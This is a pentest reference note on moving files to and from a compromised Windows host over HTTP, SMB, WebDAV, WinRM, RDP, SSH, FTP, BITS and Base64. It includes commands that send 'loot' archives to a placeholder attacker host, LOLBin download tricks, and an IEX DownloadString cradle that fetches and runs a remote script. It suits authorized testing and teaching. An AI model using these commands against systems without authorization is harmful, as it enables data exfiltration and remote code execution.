Knowledge tree
On this page

Windows File Transfers

Practical Windows file-transfer methods for shells, remote sessions, constrained networks, and common pentest fallback paths.
Updated 25 Aug 2026

During a pentest, moving a file usually depends more on the shell and reachable protocols than on the preferred tool. PowerShell may be restricted while certutil.exe still works, HTTP may be filtered while TCP/445 is reachable, and an existing WinRM or RDP session may already provide a transfer channel.

The useful skill is having several paths available and switching method when the current constraint rules one out.

In this Note, download means attacker → Windows and upload means Windows → attacker unless a tool explicitly uses different terminology.

Quick reference

SituationMethods to try
PowerShell + HTTP(S)curl.exe, Invoke-WebRequest, WebClient, BITS
Only cmd.exe + HTTP(S)curl.exe, certutil.exe, bitsadmin.exe, certreq.exe
TCP/445 reachable to the attackerImpacket SMB + copy, Copy-Item, robocopy
HTTP reachable and bidirectional transfer is neededHTTP upload server or WebDAV
Evil-WinRM sessionupload / download
PowerShell Remoting sessionCopy-Item -ToSession / -FromSession
RDP sessionDrive redirection + \\tsclient\share
SSH availablescp.exe, sftp.exe
FTP reachableftp.exe
Text-only channelBase64
Common paths failcertreq, esentutl, expand, other native binaries

Before setting up a new channel, check what is actually present on the host.

whoami
echo %TEMP%

where powershell
where curl
where certutil
where bitsadmin
where ftp
where ssh
where scp
where tar
whoami
$env:TEMP
$PSVersionTable.PSVersion

Get-Command curl.exe -ErrorAction SilentlyContinue
Get-Command certutil.exe -ErrorAction SilentlyContinue
Get-Command bitsadmin.exe -ErrorAction SilentlyContinue
Get-Command scp.exe -ErrorAction SilentlyContinue
Get-Command tar.exe -ErrorAction SilentlyContinue

%TEMP% is often a convenient writable destination when working as a normal user. Do not assume that the current identity can write to C:\Windows\Temp or another system directory.

HTTP

HTTP is often one of the first channels worth trying because a temporary server on the attacker side is easy to expose and Windows provides several clients.

Attacker setup

From Kali or another operator host:

cd /opt/tools
python3 -m http.server 8000

Files are then available under:

http://<ATTACKER_IP>:8000/

A failure in one client does not prove that HTTP is blocked. PowerShell can be restricted while curl.exe or certutil.exe remain usable.

Download

These commands all retrieve the same file through different Windows-side clients.

curl.exe http://<ATTACKER_IP>:8000/tool.exe -o %TEMP%\tool.exe
Invoke-WebRequest `
  -UseBasicParsing `
  -Uri 'http://<ATTACKER_IP>:8000/tool.exe' `
  -OutFile "$env:TEMP\tool.exe"
(New-Object Net.WebClient).DownloadFile(
    'http://<ATTACKER_IP>:8000/tool.exe',
    "$env:TEMP\tool.exe"
)
certutil.exe -urlcache -split -f http://<ATTACKER_IP>:8000/tool.exe %TEMP%\tool.exe
bitsadmin /transfer downloadJob /download /priority normal ^
  http://<ATTACKER_IP>:8000/tool.exe ^
  %TEMP%\tool.exe

certutil.exe and bitsadmin.exe remain useful from limited shells if they are present. Their administrative deprecation status does not prevent the transfer technique from working; LOLBAS still documents both on current Windows versions.

In PowerShell 7+, the same download does not need that switch:

Invoke-WebRequest `
  -Uri 'http://<ATTACKER_IP>:8000/tool.exe' `
  -OutFile "$env:TEMP\tool.exe"

Windows PowerShell 5.1 also defines curl as an alias for Invoke-WebRequest. Use curl.exe when you specifically want the native curl client.

Downloading scripts without saving them first

When the target content is a PowerShell script, it can also be retrieved as text:

(New-Object Net.WebClient).DownloadString(
    'http://<ATTACKER_IP>:8000/script.ps1'
)

or:

(Invoke-WebRequest `
  -UseBasicParsing `
  'http://<ATTACKER_IP>:8000/script.ps1'
).Content

Combining the download with Invoke-Expression turns this into an execution cradle rather than a file transfer:

IEX (New-Object Net.WebClient).DownloadString(
    'http://<ATTACKER_IP>:8000/script.ps1'
)

That pattern is included here because it commonly appears next to transfer techniques; execution and defensive-evasion trade-offs belong in their own Notes.

Resuming a large download

If the HTTP server supports range requests, curl can continue a partial download:

curl.exe -C - ^
  http://<ATTACKER_IP>:8000/large.zip ^
  -o %TEMP%\large.zip

HTTP upload

python3 -m http.server only solves attacker → Windows. To receive files from the target, the attacker side needs an endpoint that accepts uploads.

Attacker setup with uploadserver

python3 -m pip install --user uploadserver
python3 -m uploadserver 8000

The upload endpoint is:

http://<ATTACKER_IP>:8000/upload

Upload with curl.exe

curl.exe -X POST ^
  -F "files=@C:\Windows\Temp\loot.zip" ^
  http://<ATTACKER_IP>:8000/upload

From PowerShell:

curl.exe -X POST `
  -F "files=@$env:TEMP\loot.zip" `
  "http://<ATTACKER_IP>:8000/upload"

certreq.exe

certreq.exe provides another native HTTP path when the usual clients do not fit. It can POST a file to a compatible HTTP handler:

certreq.exe -Post ^
  -config http://<ATTACKER_IP>:8000/ ^
  C:\Windows\Temp\loot.zip

It can also save the server response:

certreq.exe -Post ^
  -config http://<ATTACKER_IP>:8000/ ^
  C:\Windows\Temp\request.bin ^
  C:\Windows\Temp\response.bin

The receiver must understand the POST generated by certreq; do not assume that an arbitrary multipart upload server will accept it.

SMB

SMB is one of the most convenient bidirectional channels in an internal assessment. If the compromised Windows host can reach TCP/445 on the attacker machine, a temporary share provides a direct path for native copy tools.

Attacker setup with Impacket

Anonymous share:

sudo impacket-smbserver share . -smb2support

Windows can address it as:

\\<ATTACKER_IP>\share

If guest access is rejected, expose the share with credentials:

sudo impacket-smbserver share . -smb2support \
  -username transfer -password 'TransferPass1!'

Then authenticate from Windows:

net use \\<ATTACKER_IP>\share /user:transfer *

The * asks for the password interactively instead of placing it in the Windows command history.

Download

copy \\<ATTACKER_IP>\share\tool.exe %TEMP%\tool.exe
Copy-Item `
  "\\<ATTACKER_IP>\share\tool.exe" `
  "$env:TEMP\tool.exe"

Upload

copy %TEMP%\loot.zip \\<ATTACKER_IP>\share\loot.zip
Copy-Item `
  "$env:TEMP\loot.zip" `
  "\\<ATTACKER_IP>\share\loot.zip"

Remove a mapping created for the transfer when it is no longer needed:

net use \\<ATTACKER_IP>\share /delete

Existing SMB sessions and error 1219

Windows keeps SMB connections by server and logon context. Trying to connect to the same server using a second identity can produce:

System error 1219 has occurred.
Multiple connections to a server or shared resource by the same user,
using more than one user name, are not allowed.

Inspect current mappings first:

net use

Remove only the connection that is no longer required, then authenticate again.

Large files

For large files or an unstable link, robocopy can be more useful than a simple copy:

robocopy \\<ATTACKER_IP>\share %TEMP% large.zip /Z /J /R:2 /W:2

Upload:

robocopy %TEMP% \\<ATTACKER_IP>\share loot.zip /Z /J /R:2 /W:2

/Z enables restartable mode and /J uses unbuffered I/O, which is useful for large files.

Alternative native SMB copy binaries

If copy or PowerShell are restricted, other Windows binaries can still read a UNC path.

esentutl.exe:

esentutl.exe /y ^
  \\<ATTACKER_IP>\share\tool.exe ^
  /d %TEMP%\tool.exe ^
  /o

expand.exe:

expand.exe ^
  \\<ATTACKER_IP>\share\tool.exe ^
  %TEMP%\tool.exe

These are fallback paths, not inherently better transfers than copy when the normal command already works.

WebDAV

WebDAV is useful when HTTP is reachable but direct SMB is not. Windows can expose a WebDAV resource through a UNC-like path when the WebClient service is available.

Attacker setup

WsgiDAV provides a quick read/write server:

python3 -m pip install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=80 --root=. --auth=anonymous

Windows addresses the share as:

\\<ATTACKER_IP>@80\DavWWWRoot\

For HTTPS on the default port:

\\<ATTACKER_IP>@SSL\DavWWWRoot\

Download

Even cmd.exe can copy data from WebDAV using redirection:

type \\<ATTACKER_IP>@80\DavWWWRoot\tool.exe > %TEMP%\tool.exe

Upload

If the server allows writes:

type %TEMP%\loot.zip > \\<ATTACKER_IP>@80\DavWWWRoot\loot.zip

LOLBAS documents both directions through cmd.exe on current Windows versions.

WebClient requirement

Check the service when the WebDAV UNC path fails unexpectedly:

sc query WebClient
Get-Service WebClient

Existing remote access

When the current remote-access method already supports file transfer, it is usually faster to use that channel than to expose another service.

Evil-WinRM

Upload to Windows:

upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe

Download from Windows:

download C:\Windows\Temp\loot.zip /tmp/loot.zip

upload and download here are Evil-WinRM commands rather than PowerShell cmdlets.

PowerShell Remoting

A PSSession supports Copy-Item -ToSession and -FromSession.

$session = New-PSSession -ComputerName TARGET -Credential CORP\user

Upload:

Copy-Item `
  .\tool.exe `
  -Destination 'C:\Windows\Temp\tool.exe' `
  -ToSession $session

Download:

Copy-Item `
  'C:\Windows\Temp\loot.zip' `
  -Destination '.\loot.zip' `
  -FromSession $session

Close the session when finished:

Remove-PSSession $session

RDP drive redirection

FreeRDP can expose a local operator directory inside the Windows session:

xfreerdp /v:<TARGET> /u:user /drive:share,/opt/tools

Depending on the installed package, the binary may be named xfreerdp, xfreerdp3, or another versioned variant. The relevant option is /drive.

Inside Windows:

dir \\tsclient\share

Download:

copy \\tsclient\share\tool.exe %TEMP%\tool.exe

Upload:

copy %TEMP%\loot.zip \\tsclient\share\loot.zip

OpenSSH

When the OpenSSH client is installed, scp.exe and sftp.exe provide a bidirectional path.

Check availability:

where scp
where sftp

They commonly live under:

C:\Windows\System32\OpenSSH\

SCP

Download:

scp.exe operator@<ATTACKER_IP>:/opt/tools/tool.exe %TEMP%\tool.exe

Upload:

scp.exe %TEMP%\loot.zip operator@<ATTACKER_IP>:/tmp/loot.zip

SFTP

sftp.exe operator@<ATTACKER_IP>

Inside the session:

sftp> get tool.exe C:\Windows\Temp\tool.exe
sftp> put C:\Windows\Temp\loot.zip loot.zip

get and put are from the perspective of the SFTP client running on Windows.

FTP

ftp.exe remains useful when the client exists and the network allows the FTP control and data channels.

Attacker setup

A quick anonymous server with pyftpdlib listens on TCP/2121 by default:

python3 -m pip install --user pyftpdlib
python3 -m pyftpdlib

Allow anonymous uploads when needed:

python3 -m pyftpdlib --write

Interactive transfer

ftp <ATTACKER_IP>

Then:

ftp> binary
ftp> get tool.exe
ftp> put loot.zip
ftp> quit

Use binary for executables, archives, dumps, and other arbitrary byte streams.

Scripted FTP from a limited shell

ftp.exe -s reads commands from a file:

(
echo open <ATTACKER_IP> 2121
echo anonymous
echo anonymous
echo binary
echo get tool.exe
echo quit
) > %TEMP%\ftp.txt

ftp.exe -s:%TEMP%\ftp.txt

BITS

BITS can be driven either through PowerShell or through bitsadmin.exe.

Start-BitsTransfer

Start-BitsTransfer `
  -Source 'http://<ATTACKER_IP>:8000/tool.exe' `
  -Destination "$env:TEMP\tool.exe"

For an asynchronous job:

$job = Start-BitsTransfer `
  -Source 'http://<ATTACKER_IP>:8000/large.zip' `
  -Destination "$env:TEMP\large.zip" `
  -Asynchronous

Inspect it:

Get-BitsTransfer

When the state reaches Transferred:

Complete-BitsTransfer $job

bitsadmin.exe

From cmd.exe:

bitsadmin /transfer downloadJob ^
  /download ^
  /priority normal ^
  http://<ATTACKER_IP>:8000/tool.exe ^
  %TEMP%\tool.exe

The bitsadmin.exe interface is deprecated for modern administration, but that status does not make it useless during a pentest when it is present and functional.

Text-only transfers

When no binary path is available but the shell can send and receive text, Base64 can represent arbitrary bytes.

It is practical for small scripts, keys, configuration files, and small binaries. It becomes increasingly fragile for large files because the encoded representation is roughly one third larger and may hit command-line or shell-output limits.

PowerShell Base64

Encode:

[Convert]::ToBase64String(
    [IO.File]::ReadAllBytes("$env:TEMP\loot.bin")
)

On Linux:

base64 -w 0 loot.bin

Decode in PowerShell:

$b64 = Get-Content '.\loot.b64' -Raw

[IO.File]::WriteAllBytes(
    "$env:TEMP\loot.bin",
    [Convert]::FromBase64String($b64.Trim())
)

Decode on Linux:

base64 -d loot.b64 > loot.bin

certutil encode and decode

From cmd.exe:

certutil.exe -encode %TEMP%\loot.bin %TEMP%\loot.b64
certutil.exe -decode %TEMP%\tool.b64 %TEMP%\tool.exe

EncodedCommand

-EncodedCommand also uses Base64, but it solves command-line transport rather than generic file transfer. Both powershell.exe and pwsh expect the command string as UTF-16LE bytes before Base64 encoding.

EncodedCommand pipeline Text is encoded as UTF-16LE bytes, then Base64, then passed as an EncodedCommand argument. Text Source command UTF-16LE Bytes Base64 Text representation -EncodedCommand PowerShell argument Specific CLI contract ≠ a universal Windows text-file encoding EncodedCommand pipeline Text is encoded as UTF-16LE bytes, then Base64, then passed as an EncodedCommand argument. Text Source command UTF-16LE Bytes Base64 Text representation -EncodedCommand PowerShell argument Specific CLI contract ≠ a universal Windows text-file encoding
EncodedCommand uses a specific UTF-16LE → Base64 pipeline; this does not define the encoding of Windows text files in general.

From Linux:

printf %s 'Get-ChildItem C:\' |
  iconv -t UTF-16LE |
  base64 -w 0

Then:

powershell.exe -EncodedCommand <BASE64>

Additional native methods

Windows contains many signed binaries that can move data even though file transfer is not their primary purpose. There is little value in memorizing every LOLBin, but a small fallback set is useful when the obvious clients are blocked or unavailable.

certreq.exe

HTTP POST:

certreq.exe -Post ^
  -config http://<ATTACKER_IP>:8000/ ^
  %TEMP%\loot.zip

esentutl.exe

Copy from SMB:

esentutl.exe /y ^
  \\<ATTACKER_IP>\share\tool.exe ^
  /d %TEMP%\tool.exe ^
  /o

expand.exe

expand.exe ^
  \\<ATTACKER_IP>\share\tool.exe ^
  %TEMP%\tool.exe

findstr.exe

Another option for a WebDAV/UNC path:

findstr.exe /V /L DOES_NOT_EXIST ^
  \\<ATTACKER_IP>@80\DavWWWRoot\tool.exe ^
  > %TEMP%\tool.exe

These are repertoire and fallback techniques. If curl.exe, copy, or the current remote-access channel already works reliably, there is no need to replace it with a more unusual binary.

Preparing files

Packing many files into one archive reduces the number of transfers and makes integrity checking simpler.

tar.exe

Check availability:

where tar

Create a ZIP:

tar.exe -caf %TEMP%\loot.zip C:\Path\To\Collection

Create a tar.gz:

tar.exe -czf %TEMP%\loot.tar.gz C:\Path\To\Collection

Compress-Archive

Compress-Archive `
  -Path 'C:\Path\To\Collection\*' `
  -DestinationPath "$env:TEMP\loot.zip"

Integrity

A matching SHA-256 is a quick way to confirm that the same bytes exist at both ends after a transfer.

Get-FileHash `
  "$env:TEMP\tool.exe" `
  -Algorithm SHA256
certutil.exe -hashfile %TEMP%\tool.exe SHA256
sha256sum tool.exe

Hash verification is particularly useful after Base64, chunking, web shells, interrupted transfers, or any transformation where truncation is plausible.

Character encoding

Encoding matters when content is created, interpreted, or transformed as text. A normal binary transfer through HTTP, SMB, SCP, or WinRM should preserve bytes without changing their encoding.

Windows does not have one universal text-file encoding. A common pentest surprise comes from the difference between Windows PowerShell 5.1 and modern PowerShell.

Windows PowerShell 5.1

Out-File and the > / >> redirection operators create UTF-16LE output by default:

whoami > users.txt

The resulting file can look unusual when inspected with Linux tools because an ASCII-range character such as a is stored as the UTF-16LE code unit 61 00, not the single byte 61 used by ASCII-compatible UTF-8.

PowerShell 7+

Modern PowerShell defaults to UTF-8 without a BOM for text output. The same-looking command can therefore produce a different byte representation depending on the engine that ran it.

Inspecting the bytes

PowerShell:

Format-Hex .\users.txt

Linux:

file users.txt
xxd users.txt | head

CRLF/LF and UTF-8/UTF-16 are separate properties:

character encoding   UTF-8 / UTF-16LE / ...
line ending          CRLF / LF

dos2unix changes line endings; it is not a generic fix for a character-encoding mismatch.

UTF-16LE, BOM, and the bytes behind the old Windows example

A BOM (byte-order mark) is a short Unicode signature that can appear at the beginning of a text stream. For UTF-16LE, the byte sequence is FF FE. It can tell a reader that the following 16-bit code units are stored little-endian.

The text abc followed by CRLF represented as an optional UTF-16LE BOM and two-byte code units.

For the text abc followed by a Windows-style CRLF newline, a UTF-16LE file with a BOM can begin as:

FF FE  61 00  62 00  63 00  0D 00  0A 00
│      │      │      │      │      │
BOM    a      b      c      CR     LF

The Unicode code point for a is U+0061. UTF-16 represents it here as the 16-bit value 0x0061; little-endian byte order stores the least-significant byte first, producing 61 00.

The same distinction applies to CR (U+000D0D 00) and LF (U+000A0A 00). This is why a UTF-16LE PowerShell output often appears to contain 00 bytes between ordinary ASCII characters when viewed with xxd.

The BOM is not mandatory for every Unicode encoding or every producing application. Its presence is useful evidence of an encoding; its absence does not prove that the file is ASCII or UTF-8.

This also explains why -EncodedCommand requires UTF-16LE without implying that Windows files in general use UTF-16LE: the former is a specific command-line contract, while file encoding depends on the program that created the file.

References